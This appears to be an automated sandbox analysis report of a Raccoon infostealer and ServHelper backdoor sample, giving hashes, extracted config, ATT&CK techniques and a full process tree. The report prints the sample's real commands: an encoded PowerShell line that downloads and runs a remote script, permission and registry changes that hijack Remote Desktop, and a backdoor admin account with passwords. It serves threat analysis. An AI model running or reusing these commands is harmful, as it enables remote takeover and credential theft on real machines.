raccoon | 798204be3c87f8644d21f51035a29dd85e539e3969233ddda56a725461236717

Analysis

max time kernel
145s
max time network
124s
platform
windows7_x64
resource
win7v20210410
submitted
02-06-2021 18:09

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General

Target

10e60e71017ffb4298307d929c3512d0.exe
Size

567KB
MD5

10e60e71017ffb4298307d929c3512d0
SHA1

a71ad0c8b69b55912a12ec9b4c1e5cddaafc5014
SHA256

798204be3c87f8644d21f51035a29dd85e539e3969233ddda56a725461236717
SHA512

2018830b17e27a3395d1254e76c6e268fc4badcd6ab2c19f5dac67bf424c653ab685368b39b4a051240b482bcbe3439379abc321f5606e58de2b6e2378786d83

Score

10^/10

raccoon servhelper e46634757936706c1ff491585768dd6fe231db30 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

e46634757936706c1ff491585768dd6fe231db30

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1348	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
956	F6jc0N7SpH.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1060	icacls.exe
812	icacls.exe
1336	icacls.exe
1676	takeown.exe
1456	icacls.exe
860	icacls.exe
456	icacls.exe
524	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000130f7-198.dat	upx
behavioral1/files/0x00060000000130f8-199.dat	upx

Deletes itself 1 IoCs

pid	Process
1004	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1748	10e60e71017ffb4298307d929c3512d0.exe
1292	Process not Found
1292	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1456	icacls.exe
860	icacls.exe
456	icacls.exe
524	icacls.exe
1060	icacls.exe
812	icacls.exe
1336	icacls.exe
1676	takeown.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_741a934f-3e10-47b7-8696-e3a661f2db3b	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_768e23d4-b218-4bcf-b5c2-d2b642d1afaf	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe6a7e0b-acaf-406f-9d86-213f5e0a3e59	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8d4e5d08-c1d8-456c-82db-6e264ea1da85	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5MEO2NTN3DT142EW5QEO.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_91af7d54-7ae1-431a-8808-fd160169532d	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_06aaeb24-d977-427f-b52b-89de45e602b2	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_29b65f0a-213c-4091-91e5-317f07876ea9	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_296eb530-2c6e-4751-b0d9-feeaba4ffa61	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1508bd99-d9ff-4d3b-9f8b-cead4b310cd7	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_636b10c1-5780-4b02-aae2-a979f03cdbe2	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f0c657ed-6858-4ac3-b3c9-d618b84bd6df	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
836	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0f1b314db57d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
844	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	10e60e71017ffb4298307d929c3512d0.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	10e60e71017ffb4298307d929c3512d0.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1612	powershell.exe
1612	powershell.exe
812	powershell.exe
812	powershell.exe
364	powershell.exe
364	powershell.exe
1512	powershell.exe
1512	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe
1348	powershell.exe
1348	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
468	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found
1292	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	364	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeRestorePrivilege	860	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1264	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1264	WMIC.exe
Token: SeAuditPrivilege	1264	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1264	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1264	WMIC.exe
Token: SeAuditPrivilege	1264	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeAuditPrivilege	1312	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeAuditPrivilege	1312	WMIC.exe
Token: SeDebugPrivilege	1348	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1748 wrote to memory of 956	1748	10e60e71017ffb4298307d929c3512d0.exe	30
PID 1748 wrote to memory of 956	1748	10e60e71017ffb4298307d929c3512d0.exe	30
PID 1748 wrote to memory of 956	1748	10e60e71017ffb4298307d929c3512d0.exe	30
PID 1748 wrote to memory of 956	1748	10e60e71017ffb4298307d929c3512d0.exe	30
PID 1748 wrote to memory of 1004	1748	10e60e71017ffb4298307d929c3512d0.exe	31
PID 1748 wrote to memory of 1004	1748	10e60e71017ffb4298307d929c3512d0.exe	31
PID 1748 wrote to memory of 1004	1748	10e60e71017ffb4298307d929c3512d0.exe	31
PID 1748 wrote to memory of 1004	1748	10e60e71017ffb4298307d929c3512d0.exe	31
PID 1004 wrote to memory of 836	1004	cmd.exe	33
PID 1004 wrote to memory of 836	1004	cmd.exe	33
PID 1004 wrote to memory of 836	1004	cmd.exe	33
PID 1004 wrote to memory of 836	1004	cmd.exe	33
PID 956 wrote to memory of 1612	956	F6jc0N7SpH.exe	34
PID 956 wrote to memory of 1612	956	F6jc0N7SpH.exe	34
PID 956 wrote to memory of 1612	956	F6jc0N7SpH.exe	34
PID 1612 wrote to memory of 568	1612	powershell.exe	36
PID 1612 wrote to memory of 568	1612	powershell.exe	36
PID 1612 wrote to memory of 568	1612	powershell.exe	36
PID 568 wrote to memory of 1152	568	csc.exe	37
PID 568 wrote to memory of 1152	568	csc.exe	37
PID 568 wrote to memory of 1152	568	csc.exe	37
PID 1612 wrote to memory of 812	1612	powershell.exe	38
PID 1612 wrote to memory of 812	1612	powershell.exe	38
PID 1612 wrote to memory of 812	1612	powershell.exe	38
PID 1612 wrote to memory of 364	1612	powershell.exe	40
PID 1612 wrote to memory of 364	1612	powershell.exe	40
PID 1612 wrote to memory of 364	1612	powershell.exe	40
PID 1612 wrote to memory of 1512	1612	powershell.exe	42
PID 1612 wrote to memory of 1512	1612	powershell.exe	42
PID 1612 wrote to memory of 1512	1612	powershell.exe	42
PID 1612 wrote to memory of 1676	1612	powershell.exe	45
PID 1612 wrote to memory of 1676	1612	powershell.exe	45
PID 1612 wrote to memory of 1676	1612	powershell.exe	45
PID 1612 wrote to memory of 1456	1612	powershell.exe	46
PID 1612 wrote to memory of 1456	1612	powershell.exe	46
PID 1612 wrote to memory of 1456	1612	powershell.exe	46
PID 1612 wrote to memory of 860	1612	powershell.exe	47
PID 1612 wrote to memory of 860	1612	powershell.exe	47
PID 1612 wrote to memory of 860	1612	powershell.exe	47
PID 1612 wrote to memory of 456	1612	powershell.exe	48
PID 1612 wrote to memory of 456	1612	powershell.exe	48
PID 1612 wrote to memory of 456	1612	powershell.exe	48
PID 1612 wrote to memory of 524	1612	powershell.exe	49
PID 1612 wrote to memory of 524	1612	powershell.exe	49
PID 1612 wrote to memory of 524	1612	powershell.exe	49
PID 1612 wrote to memory of 1060	1612	powershell.exe	50
PID 1612 wrote to memory of 1060	1612	powershell.exe	50
PID 1612 wrote to memory of 1060	1612	powershell.exe	50
PID 1612 wrote to memory of 812	1612	powershell.exe	51
PID 1612 wrote to memory of 812	1612	powershell.exe	51
PID 1612 wrote to memory of 812	1612	powershell.exe	51
PID 1612 wrote to memory of 1336	1612	powershell.exe	52
PID 1612 wrote to memory of 1336	1612	powershell.exe	52
PID 1612 wrote to memory of 1336	1612	powershell.exe	52
PID 1612 wrote to memory of 1576	1612	powershell.exe	53
PID 1612 wrote to memory of 1576	1612	powershell.exe	53
PID 1612 wrote to memory of 1576	1612	powershell.exe	53
PID 1612 wrote to memory of 844	1612	powershell.exe	54
PID 1612 wrote to memory of 844	1612	powershell.exe	54
PID 1612 wrote to memory of 844	1612	powershell.exe	54
PID 1612 wrote to memory of 1520	1612	powershell.exe	55
PID 1612 wrote to memory of 1520	1612	powershell.exe	55
PID 1612 wrote to memory of 1520	1612	powershell.exe	55
PID 1612 wrote to memory of 836	1612	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\10e60e71017ffb4298307d929c3512d0.exe
"C:\Users\Admin\AppData\Local\Temp\10e60e71017ffb4298307d929c3512d0.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1748
- C:\Users\Admin\AppData\Local\Temp\F6jc0N7SpH.exe
  "C:\Users\Admin\AppData\Local\Temp\F6jc0N7SpH.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1612
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hxsznn41\hxsznn41.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:568
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7761.tmp" "c:\Users\Admin\AppData\Local\Temp\hxsznn41\CSC1AE13654124A9C9498B2B33E7AB853.TMP"
        5⤵
        
        PID:1152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:812
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1512
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1676
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1456
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:860
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:456
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:524
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1060
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:812
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1336
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1576
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:844
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1520
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:836
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:2040
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1812
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1160
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:1676
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1456
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:544
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1072
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:2012
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:524
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:1588
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:752
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\10e60e71017ffb4298307d929c3512d0.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1004
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:836

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:1428
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:808

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 5hVn2w97 /add
1⤵
PID:836
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 5hVn2w97 /add
  2⤵
  PID:1364
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 5hVn2w97 /add
    3⤵
    PID:1160

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1648
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:568
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:1512

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
1⤵
PID:1428
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
  2⤵
  PID:1468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
    3⤵
    PID:1676

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:1664
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:568

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 5hVn2w97
1⤵
PID:1392
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 5hVn2w97
  2⤵
  PID:836
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 5hVn2w97
    3⤵
    PID:1468

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:868
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1264

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1676
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1312

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1296
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1348

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:860
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/364-150-0x000000001AA30000-0x000000001AA31000-memory.dmp

Filesize
4KB

Download
memory/364-148-0x000000001B780000-0x000000001B781000-memory.dmp

Filesize
4KB

Download
memory/364-151-0x00000000023D0000-0x00000000023D1000-memory.dmp

Filesize
4KB

Download
memory/364-146-0x00000000024D0000-0x00000000024D1000-memory.dmp

Filesize
4KB

Download
memory/364-145-0x000000001AAB4000-0x000000001AAB6000-memory.dmp

Filesize
8KB

Download
memory/364-143-0x000000001AAB0000-0x000000001AAB2000-memory.dmp

Filesize
8KB

Download
memory/812-112-0x0000000002780000-0x0000000002781000-memory.dmp

Filesize
4KB

Download
memory/812-136-0x000000001B930000-0x000000001B931000-memory.dmp

Filesize
4KB

Download
memory/812-137-0x000000001B940000-0x000000001B941000-memory.dmp

Filesize
4KB

Download
